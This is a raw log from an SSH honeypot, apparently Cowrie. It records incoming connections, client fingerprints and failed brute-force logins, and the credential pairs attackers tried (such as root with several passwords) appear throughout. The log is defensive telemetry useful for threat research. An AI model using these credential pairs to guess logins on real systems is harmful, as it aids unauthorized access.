{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:05:18.639380Z","src_ip":"176.53.159.196","session":"afb352e2d0b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.36.147.215","src_port":58076,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3a6af7dc4b9","protocol":"ssh","message":"New connection: 194.36.147.215:58076 (10.17.0.5:22) [session: c3a6af7dc4b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:05:25.565124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:05:25.569989Z","src_ip":"194.36.147.215","session":"c3a6af7dc4b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:05:25.656133Z","src_ip":"194.36.147.215","session":"c3a6af7dc4b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"australia","password":"Sydney#Crypto@P@ss2024","message":"login attempt [australia/Sydney#Crypto@P@ss2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:05:25.919370Z","src_ip":"194.36.147.215","session":"c3a6af7dc4b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:05:27.007924Z","src_ip":"194.36.147.215","session":"c3a6af7dc4b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":36382,"dst_ip":"159.203.135.109","dst_port":22,"session":"31900b5412d3","protocol":"ssh","message":"New connection: 160.187.174.22:36382 (159.203.135.109:22) [session: 31900b5412d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:05:35.387376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:05:35.428386Z","src_ip":"160.187.174.22","session":"31900b5412d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:05:35.673140Z","src_ip":"160.187.174.22","session":"31900b5412d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123","message":"login attempt [git/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:05:36.402162Z","src_ip":"160.187.174.22","session":"31900b5412d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:05:37.648222Z","src_ip":"160.187.174.22","session":"31900b5412d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":52570,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed10074b4b36","protocol":"ssh","message":"New connection: 109.237.96.109:52570 (159.203.135.109:22) [session: ed10074b4b36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:05:58.023911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:05:58.030272Z","src_ip":"109.237.96.109","session":"ed10074b4b36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:05:58.119439Z","src_ip":"109.237.96.109","session":"ed10074b4b36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"160193","message":"login attempt [root/160193] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:05:58.389907Z","src_ip":"109.237.96.109","session":"ed10074b4b36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:05:59.481209Z","src_ip":"109.237.96.109","session":"ed10074b4b36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.200.19","src_port":14918,"dst_ip":"159.203.135.109","dst_port":22,"session":"a033ad3626e1","protocol":"ssh","message":"New connection: 43.160.200.19:14918 (159.203.135.109:22) [session: a033ad3626e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:04.446476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:04.451906Z","src_ip":"43.160.200.19","session":"a033ad3626e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":58258,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce8e81f27804","protocol":"ssh","message":"New connection: 160.187.174.22:58258 (159.203.135.109:22) [session: ce8e81f27804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:04.508286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:04.534269Z","src_ip":"160.187.174.22","session":"ce8e81f27804","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:04.696450Z","src_ip":"43.160.200.19","session":"a033ad3626e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:04.754303Z","src_ip":"160.187.174.22","session":"ce8e81f27804","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"d","message":"login attempt [root/d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:05.708055Z","src_ip":"43.160.200.19","session":"a033ad3626e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranger","password":"ranger123","message":"login attempt [ranger/ranger123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:05.711764Z","src_ip":"160.187.174.22","session":"ce8e81f27804","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:06.955190Z","src_ip":"43.160.200.19","session":"a033ad3626e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:06.962066Z","src_ip":"160.187.174.22","session":"ce8e81f27804","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.61.233.105","src_port":54612,"dst_ip":"10.17.0.5","dst_port":22,"session":"eeddbd957f3c","protocol":"ssh","message":"New connection: 202.61.233.105:54612 (10.17.0.5:22) [session: eeddbd957f3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:07.814624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:07.819201Z","src_ip":"202.61.233.105","session":"eeddbd957f3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:07.914736Z","src_ip":"202.61.233.105","session":"eeddbd957f3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A1g0r@nd$Tr0ng@P@ss","message":"login attempt [root/A1g0r@nd$Tr0ng@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:08.203974Z","src_ip":"202.61.233.105","session":"eeddbd957f3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:09.301908Z","src_ip":"202.61.233.105","session":"eeddbd957f3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.184.88","src_port":49102,"dst_ip":"10.17.0.5","dst_port":22,"session":"99825596aaed","protocol":"ssh","message":"New connection: 165.22.184.88:49102 (10.17.0.5:22) [session: 99825596aaed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:21.302231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:21.306247Z","src_ip":"165.22.184.88","session":"99825596aaed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:21.310938Z","src_ip":"165.22.184.88","session":"99825596aaed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"swyftx","password":"swyftx123","message":"login attempt [swyftx/swyftx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:21.325899Z","src_ip":"165.22.184.88","session":"99825596aaed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:22.335811Z","src_ip":"165.22.184.88","session":"99825596aaed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.177.234.24","src_port":53894,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c39ba4e7d4b","protocol":"ssh","message":"New connection: 14.177.234.24:53894 (10.17.0.5:22) [session: 0c39ba4e7d4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:28.256830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:28.260401Z","src_ip":"14.177.234.24","session":"0c39ba4e7d4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:28.514575Z","src_ip":"14.177.234.24","session":"0c39ba4e7d4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tagada","message":"login attempt [root/tagada] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:29.558953Z","src_ip":"14.177.234.24","session":"0c39ba4e7d4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:30.815114Z","src_ip":"14.177.234.24","session":"0c39ba4e7d4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":55228,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba2004282961","protocol":"ssh","message":"New connection: 160.187.174.22:55228 (159.203.135.109:22) [session: ba2004282961]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:33.659460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:33.663555Z","src_ip":"160.187.174.22","session":"ba2004282961","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":33096,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c6ef95991b6","protocol":"telnet","message":"New connection: 170.64.224.25:33096 (159.203.135.109:23) [session: 1c6ef95991b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:33.747632Z"}
